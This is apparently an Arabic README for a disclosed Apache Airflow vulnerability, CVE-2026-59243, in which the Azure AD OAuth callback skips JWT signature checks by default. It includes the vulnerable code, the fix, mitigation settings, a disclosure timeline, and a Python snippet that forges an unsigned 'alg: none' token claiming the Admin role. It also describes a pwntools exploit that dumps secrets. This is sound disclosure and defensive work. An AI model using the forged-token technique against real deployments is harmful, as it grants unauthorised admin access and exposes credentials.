
إثبات المفهوم لثغرة CVE-2026-59243 يعرض تجاوز توقيع JWT في استدعاء OAuth الخاص بـ Azure AD في Apache Airflow FAB Auth Manager بسبب إعداد افتراضي غير آمن.
النسخة الكورية: README.ko.md
النشرة الرسمية (Apache، نُشرت في 2026-07-29): https://lists.apache.org/thread/x4784l7z00tl3gw4tv2dmvoon77rxgpl
سجل CVE: https://www.cve.org/CVERecord?id=CVE-2026-59243
تم الإصلاح في: apache-airflow-providers-fab==3.7.3
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Hproviders/fab (مسار Azure AD OAuth)دُمج الإصلاح في المستودع الرئيسي في 2026-07-07 (الكوميت 54259ae، PR #69374) وتوفّر في apache-airflow-providers-fab==3.7.3 في 2026-07-28. نُشرت نشرة Apache في 2026-07-29؛ صنّفت Apache الخطورة على أنها متوسطة.
يقوم رد اتصال Azure AD OAuth في FAB Auth Manager بفك تشفير id_token مع verify_signature=False افتراضيًا. إذا تمكنت من تمرير JWT إلى هذا الرد (MITM، إساءة استخدام إعادة التوجيه، أيًا كان)، يمكنك منحه أي هوية تريدها، بما في ذلك Admin. مسار Authentik في نفس الملف يعتمد True افتراضيًا، وهو ما نبّهني أولًا إلى أن الافتراضي في Azure لم يكن مقصودًا. غيّره المشرفون إلى True بتغيير حرف واحد.
متعقب Apache CNA: https://cveprocess.apache.org/cve5/CVE-2026-59243 نشرة القائمة البريدية لـ Apache: https://lists.apache.org/thread/x4784l7z00tl3gw4tv2dmvoon77rxgpl
الملف: providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py
تغيّرت أرقام الأسطر قليلًا بين التقرير الأصلي وmain الحالي بسبب إعادة هيكلة غير مرتبطة، لكنه نفس الملف.
الكود القابل للاستغلال قصير:
# override.py:2331 at report time
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
"verify_signature", False, # <- default False, this is the bug
)
if verify_signature:
# ... proper JWK signature verification with authlib
return claims
# default path: no signature check at all
return jwt.decode(id_token, options={"verify_signature": False})
أمران لافتان. أولًا، الافتراضي هو False، لذا أي شخص يستخدم تكامل Azure دون ضبط verify_signature: true صراحةً في client_kwargs لن يحصل على أي تحقق من التوقيع. ثانيًا، المسار الاحتياطي يمرر الرمز ببساطة إلى jwt.decode مع تعطيل التحقق من التوقيع. الأمر ليس فشلًا مفتوحًا بسبب مفتاح مفقود أو جلب JWKS معطوب، بل تمرير مقصود يثق بأي شيء قدّمه المتصل.
للمقارنة، إليك مسار Authentik في نفس الملف:
# override.py:414 at report time — Authentik
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
"verify_signature", True, # default True
)
نفس البنية، افتراضي معاكس. من الصعب قراءة ذلك على أنه أي شيء سوى سهو.
افترض نشر Airflow مع FAB Auth Manager وAzure AD OAuth، دون تجاوز verify_signature في client_kwargs (التهيئة الافتراضية).
قم بتزوير JWT مع alg: none، وأي ادعاءات تريدها، وتوقيع فارغ:
import base64, json
def b64u(x): return base64.urlsafe_b64encode(json.dumps(x).encode()).rstrip(b"=").decode()
header = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
"sub": "[email protected]",
"email": "[email protected]",
"name": "Administrator",
"roles": ["Admin"],
"iss": "https://login.microsoftonline.com/<tenant>/v2.0",
"aud": "<airflow-client-id>",
"exp": 9999999999,
})
forged = f"{header}.{payload}." # trailing dot: empty signature
أوصل هذا الرمز إلى رد الاتصال (/login/azure/authorized أو أينما جرى تثبيت التكامل). التسليم هو الجزء الصعب عمليًا: تحتاج موقع MITM، أو تدفق إعادة توجيه يمكنك إساءة استخدامه، أو خطأ مساعد يسمح لك بحقن الرمز. بمجرد وصوله هناك، يستدعي FAB الدالة _decode_and_validate_azure_jwt، فيقع في المسار الافتراضي ويعيد الادعاءات كما هي. من هناك تصبح Admin، وAdmin في Airflow يعني Connections وVariables ومفتاح Fernet وتنفيذ مهام عشوائية كعامل التنفيذ.
قيّمتُ هذا على أنه 8.1 مرتفع مع AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H. التعقيد مرتفع لأن تسليم JWT ليس بالأمر السهل في كل بيئة نشر. التأثير كامل عندما تنجح في تنفيذه. قد تقيّمه Apache بشكل مختلف في النشرة؛ هذا مقبول.
حرف واحد. موجود فعلًا في main، وتوفّر في الإصدار:
- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)
دُمج كـ 54259ae في PR #69374 في 2026-07-07. صدر في apache-airflow-providers-fab==3.7.3 في 2026-07-28.
إذا احتاج شخص فعلًا إلى التشغيل دون تحقق من التوقيع (مثل JWKS موقّع ذاتيًا على نسخة محلية)، فلا يزال بإمكانه الاشتراك بذلك بضبط verify_signature: false صراحةً في client_kwargs. هذا أفضل بكثير من الافتراضي غير الآمن.
لمن لا يستطيعون الترقية فورًا، اضبطوه صراحةً في webserver_config.py:
OAUTH_PROVIDERS = [
{
"name": "azure",
"client_kwargs": {"verify_signature": True, ...},
# ...
},
]
جدير أيضًا: ردود اتصال OAuth عبر HTTPS فقط مع قائمة مسموح بها صارمة لـ redirect_uri، وتدوير Airflow Connections إذا كنت تعتقد أنك قد تأثرت.
إثبات المفهوم عبر Docker موجود تحت poc/:
poc/server.py إنتاج مسار jwt.decode(..., options={"verify_signature": False}) القابل للاستغلال في تطبيق Flask صغير.poc/exploit_airflow_jwt.py مكتبة pwntools لتزوير الرمز، وضرب رد الاتصال، والوصول إلى عرض المسؤول، وتفريغ "أسرار" مؤقتة.poc/Dockerfile وpoc/docker-compose.yml الهدف على 127.0.0.1:5002 حتى لا يتسرب إلى الشبكة المحلية.أمر واحد:
cd poc/
./run.sh
يرتبط docker-compose.yml بالـ loopback. إذا أصررت على تشغيله على جهاز مشترك، عدّل ذلك أولًا.
CVE-2026-59243/
├── README.md this file (EN)
├── README.ko.md Korean version
├── LICENSE MIT + defensive-use notice
├── check_advisory.sh cron-driven publication watcher
├── patch/fix.diff the one-character fix, anchored at report-time line 2332
└── poc/ Docker + pwntools reproduction
أُبلغ من قبل MalHyuk. يمكن الوصول إليه عبر https://github.com/MalHyuk.
جهة Apache: [email protected] للتقرير الأولي؛ تولى أحد أعضاء Airflow PMC المتابعة في يوليو.
MIT، انظر LICENSE. إثبات المفهوم مخصص للعرض التوضيحي والعمل الدفاعي ضد الأنظمة التي تملكها أو لديك إذن كتابي لاختبارها.
| التاريخ | الحدث |
|---|
| 2026-03-18 | أُبلغ إلى [email protected] |
| من 2026-03 إلى 2026-07 | صمت من جانب Apache. ذكر أحد أعضاء Airflow PMC لاحقًا أن التقرير الأصلي غاب عنهم. |
| 2026-07-03 | التقطه أحد أعضاء Airflow PMC |
| 2026-07-04 | تخصيص CVE-2026-59243 |
| 2026-07-04 | إرسال معلومات النسبة (MalHyuk / https://github.com/MalHyuk) |
| 2026-07-07 | دمج الإصلاح: الكوميت 54259ae، PR #69374 |
| 2026-07-28 | توفّر في apache-airflow-providers-fab==3.7.3 |
| 2026-07-29 | نشر سجل MITRE CVE، ونشر نشرة Apache إلى [email protected] |
| 2026-07-29 | أصبح هذا المستودع عامًا |
| معلّق | صفحة تفاصيل NVD (عادةً بعد بضعة أيام من MITRE) |
| معلّق | إدخال GHSA على github.com/apache/airflow/security/advisories |
| الدالة | وقت التقرير (2026-03-18) | في main المُصلَّح (2026-07-29) |
|---|
_decode_and_validate_azure_jwt() | 2331–2341 (افتراضي False، ثغرة) | 2428–2438 (افتراضي True، مُصلَّح) |
_get_authentik_token_info() (مرجع آمن) | 414–416 (افتراضي True) | 419–420 (افتراضي True) |